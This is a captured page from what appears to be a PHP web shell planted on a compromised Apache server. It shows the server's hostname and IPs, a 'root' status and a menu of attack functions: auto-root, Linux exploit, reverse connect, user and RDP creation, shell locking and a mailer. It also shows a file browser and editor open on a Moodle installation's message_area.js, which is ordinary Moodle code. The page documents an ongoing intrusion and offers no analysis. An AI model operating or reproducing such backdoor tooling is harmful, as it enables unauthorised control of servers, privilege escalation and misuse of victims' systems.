Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
message /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
message_area.js
4.76
KB
-rw-rw-r--
message_area_actions.js
1.8
KB
-rw-rw-r--
message_area_contacts.js
30.02
KB
-rw-rw-r--
message_area_events.js
1.82
KB
-rw-rw-r--
message_area_messages.js
36.69
KB
-rw-rw-r--
message_area_profile.js
11.1
KB
-rw-rw-r--
message_area_search.js
16.96
KB
-rw-rw-r--
message_area_tabs.js
6.13
KB
-rw-rw-r--
message_notification_preferenc...
2.14
KB
-rw-rw-r--
message_preferences.js
4.42
KB
-rw-rw-r--
message_repository.js
2.97
KB
-rw-rw-r--
notification_preference.js
5.41
KB
-rw-rw-r--
notification_processor.js
2.86
KB
-rw-rw-r--
notification_processor_setting...
4.22
KB
-rw-rw-r--
preferences_notifications_list...
5.62
KB
-rw-rw-r--
preferences_processor_form.js
3.35
KB
-rw-rw-r--
toggle_contact_button.js
5.91
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : message_area.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This module instantiates the functionality of the messaging area. * * @module core_message/message_area * @package core_message * @copyright 2016 Mark Nelson <markn@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define(['jquery', 'core_message/message_area_contacts', 'core_message/message_area_messages', 'core_message/message_area_profile', 'core_message/message_area_tabs', 'core_message/message_area_search'], function($, Contacts, Messages, Profile, Tabs, Search) { /** * Messagearea class. * * @param {String} selector The selector for the page region containing the message area. * @param {int} pollmin * @param {int} pollmax * @param {int} polltimeout */ function Messagearea(selector, pollmin, pollmax, polltimeout) { this.node = $(selector); this.pollmin = pollmin; this.pollmax = pollmax; this.polltimeout = polltimeout; this._init(); } /** @type {jQuery} The jQuery node for the page region containing the message area. */ Messagearea.prototype.node = null; /** @type {int} The minimum time to poll for messages. */ Messagearea.prototype.pollmin = null; /** @type {int} The maximum time to poll for messages. */ Messagearea.prototype.pollmax = null; /** @type {int} The time used once we have reached the maximum polling time. */ Messagearea.prototype.polltimeout = null; /** * Initialise the other objects we require. */ Messagearea.prototype._init = function() { new Contacts(this); new Messages(this); new Profile(this); new Tabs(this); new Search(this); }; /** * Handles adding a delegate event to the messaging area node. * * @param {String} action The action we are listening for * @param {String} selector The selector for the page we are assigning the action to * @param {Function} callable The function to call when the event happens */ Messagearea.prototype.onDelegateEvent = function(action, selector, callable) { this.node.on(action, selector, callable); }; /** * Handles adding a custom event to the messaging area node. * * @param {String} action The action we are listening for * @param {Function} callable The function to call when the event happens */ Messagearea.prototype.onCustomEvent = function(action, callable) { this.node.on(action, callable); }; /** * Handles triggering an event on the messaging area node. * * @param {String} event The selector for the page region containing the message area * @param {Object=} data The data to pass when we trigger the event */ Messagearea.prototype.trigger = function(event, data) { if (typeof data == 'undefined') { data = ''; } this.node.trigger(event, data); }; /** * Handles finding a node in the messaging area. * * @param {String} selector The selector for the node we are looking for * @return {jQuery} The node */ Messagearea.prototype.find = function(selector) { return this.node.find(selector); }; /** * Returns the ID of the user whose message area we are viewing. * * @return {int} The user id */ Messagearea.prototype.getCurrentUserId = function() { return this.node.data('userid'); }; /** * Function to determine if we should be showing contacts initially or messages. * * @return {boolean} True to show contacts first, otherwise show messages. */ Messagearea.prototype.showContactsFirst = function() { return !!this.node.data('displaycontacts'); }; return Messagearea; } );
Close